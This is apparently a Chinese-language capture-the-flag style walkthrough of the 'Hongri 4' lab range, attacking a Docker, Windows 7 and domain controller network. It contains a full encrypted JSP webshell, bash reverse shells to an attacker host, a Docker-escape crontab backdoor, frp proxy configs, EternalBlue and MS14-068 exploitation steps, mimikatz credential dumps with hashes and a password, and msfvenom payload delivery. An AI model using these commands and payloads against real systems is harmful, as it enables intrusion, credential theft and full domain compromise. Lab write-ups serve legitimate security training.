靶场配置
733 x 668899 x 819
733 x 6161466 x 1232
733 x 6261449 x 1237
733 x 6301450 x 1247
IP 地址分配:
Win7:
192.168.183.133(内网)Ubuntu:
192.168.183.134(内网)
192.168.120.137(外网)DC:
192.168.183.130(内网)Kali:
192.168.120.128(外网)
ubuntu 上可以启动一下 docker
docker start ec 17 09 bb da 3d ab ad
拓扑如下:
733 x 3861867 x 982
打点 ×3
拿 fscan 都能扫出来,然后拿工具直接打就行了
733 x 3671721 x 861
Tomcat
这个就利用最简单的写木马即可了
einzbernnn/Tomcatscan: Tomcat 漏洞批量检测工具 (github.com)
然后修改 poc/cve_2017_12615.py 里面的 body 成冰蝎就可以了:
body = '''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''
733 x 4342171 x 1286
733 x 2021651 x 456
拿着这个 jsp 地址直接连接就可以了
733 x 4681954 x 1247
Struct2
733 x 5161662 x 1171
也可以直接弹 shell
->bash -c "bash -i >& /dev/tcp/192.168.120.1/4444 0>&1"
733 x 1572522 x 539
phpMyadmin
版本是 4.8.1:
733 x 4022485 x 1363
有个任意文件读取的洞
要利用的话首先要把利用的 php 语句执行一下查询,让他记录在 session 中
733 x 3862495 x 1313
再利用包含读取 session 文件即可,/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_a4d1a8108774d843aef5e34e7043568a
733 x 4452282 x 1385
这里是可以执行 phpinfo 的,但是无法执行 system 或者其他 getshell 语句,挺奇怪的
三个点都是 docker 搭建的,所以就是看哪个点可以执行 docker 逃逸
Docker 逃逸
经过 CDK 检测,只有 Tomcat 的那个点可以进行 docker 逃逸
733 x 3541917 x 926
但是这里只能对文件进行操作
所以我们就写计划任务了,这里好像是远程机器的 ssh 开启 Public 那个选项,可以写公钥,这里还是利用计划任务演示吧
fdisk -l 看一下可挂载的磁盘
733 x 2301369 x 430
mkdir /qingfeng 以 qingfeng 文件夹作为挂载的文件夹
/qingfing: mount /dev/sda1 /qingfeng
写反弹 shell 脚本
echo '#!/bin/bash' > /qingfeng/tmp/qingfeng.shecho "/bin/bash -i >& bash -i >& /dev/tcp/192.168.120.1/9090 0>&1" >> /qingfeng/tmp/qingfeng.sh
再写个计划任务:
sed -i '$a*/2 * * * * root bash /tmp/qingfeng.sh ' /test/etc/crontabcat /qingfeng/etc/crontab
733 x 2601451 x 515
之后监听 9090 等两分钟即可吃到 shell
733 x 1701308 x 303
内网渗透
首先就是直接上 fscan 开扫了,先看一下网段
733 x 3671652 x 827
能扫到两个 ms17010,但是只有 win7 的能够打通
733 x 3851936 x 1017
接下来就是配置代理去打 ms17010 了
代理配置
上传 frpc 以及 frpc.ini 到攻破的 web 服务器下
frpc.ini 的配置如下:
[common]
server_addr = 192.168.120.1
server_port = 7000
token = frpToken@admin2022[proxy]
type = tcp
plugin = socks5
remote_port = 25599
接下来就是开启 frps 了,frps.ini 的配置如下:
[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
先在本机运行 ./frps -c frps.ini
733 x 641729 x 151
再在 web 服务器运行 ./frpc -c frpc.ini
即可
733 x 681917 x 177
当出现 listen port 以及 success 说明连接成功
733 x 1161696 x 268
kali 打 ms17010
启动 msf:msfconsole
因为这里就挂了一个端口代理,所以用正向的攻击方式简单点,不然还得再配置一个代理
use exploit/windows/smb/ms17_010_eternalblue #使用ms17010模块
set payload windows/x64/meterpreter/bind_tcp #设置正向连接
set rhosts 192.168.183.133 # 设置win7的ip地址为目标地址
733 x 3552204 x 1066
配置好直接 run 即可:
733 x 8361092 x 1245
所以下一步的目标就是攻破域控了
内网横向
为了方便我这里直接添加用户上桌面了:
net user qingfeng qwer1234! /add
net localgroup administrators qingfeng /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
配置都是老掉牙了,不熟悉可以看看前面的红日打靶:
733 x 4331809 x 1068
733 x 3101195 x 506
上桌面后传一个 mimikatz 抓密码,你也可以直接使用 msf 的 kiwi
meterpreter > kiwi_cmd sekurlsa::logonpasswordsAuthentication Id : 0 ; 444103 (00000000:0006c6c7)
Session : Interactive from 1
User Name : douser
Domain : DEMO
Logon Server : WIN-ENS2VR5TR3N
Logon Time : 2023/12/27 21:10:03
SID : S-1-5-21-979886063-1111900045-1414766810-1107msv :[00010000] CredentialKeys* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e* SHA1 : c48096437367aad00ac2dc70552051cd84912a55[00000003] Primary* Username : douser* Domain : DEMO* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e* SHA1 : c48096437367aad00ac2dc70552051cd84912a55tspkg :wdigest :* Username : douser* Domain : DEMO* Password : Dotest123kerberos :* Username : douser* Domain : DEMO.COM* Password : (null)ssp :credman :
这里抓到了用户的 SID,可以尝试使用 MS14-068 打一下了,如果域控没装 KB3011780 的话就可以拿下
可能用得到的工具下载地址:
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
首先需要生成票据:
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
733 x 5611139 x 871
桌面会生成一个票据
下一步利用 mimikatz.exe(记得管理员权限)将证书写入,可以提升为域管理员:
kerberos::ptc TGT_douser@DEMO.COM.ccache
733 x 291815 x 323
接着使用 PsExec64 横向:
PsExec64.exe \\WIN-ENS2VR5TR3N cmd.exe
这个计算机名字是 fscan 的时候扫出来的:
733 x 3711998 x 1012
然后运行即可拿到域控的 shell:
使用 ipconfig 命令可以看到已经是域控的 IP 了
661 x 682
域控上线
其实到这也算打靶结束,但是这里给自己下一个题,如何再上线呢?
我这里的思路就是通过 certutil 命令下载木马到域控,再通过一层端口转发到我们的 kali,把木马流量转发到我们的 kali 即可上线成功
首先在 ubuntu 上写入 frps.msf 文件:
[common]
bind_port = 7001
token=frpToken@admin2022
733 x 348937 x 445
接着配置 kali 使用 frpc.msf:
[common]
server_addr = 192.168.120.137 # ubuntu的外网地址
server_port = 7001
token = frpToken@admin2022[proxy]
type = tcp
local_ip = 192.168.120.128 # kali地址
local_port = 9999
remote_port = 9999
若是这样跑起来则是把 192.168.120.137 的 9999 端口流量转发到 kali 的 9999 端口
所以生成木马也是选择 ubuntu 的地址作为木马地址:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=9999 -f exe > dc.exe
192.168.183.134 是 ubuntu 的内网地址
msf 监听等待回连
use exploit/multi/handler
set lport 9999
set lhost 192.168.120.128
set payload windows/x64/meterpreter/reverse_tcp
然后通过 win7 让 dc 下载木马程序:
733 x 2961727 x 697
这里的 web 服务你可以使用 HFS 也可以直接跑 python,只要能让域控访问到就行
其实这里可以直接放到 ubuntu 的 web 目录下直接让 dc 访问也可以,当时做的时候传 HFS 方便点
下载完后运行 dc.exe 即可上线 MSF
733 x 7641105 x 1152
跑个 ipconfig 证明一手:
733 x 7531104 x 1134
至此红日 4 成功完成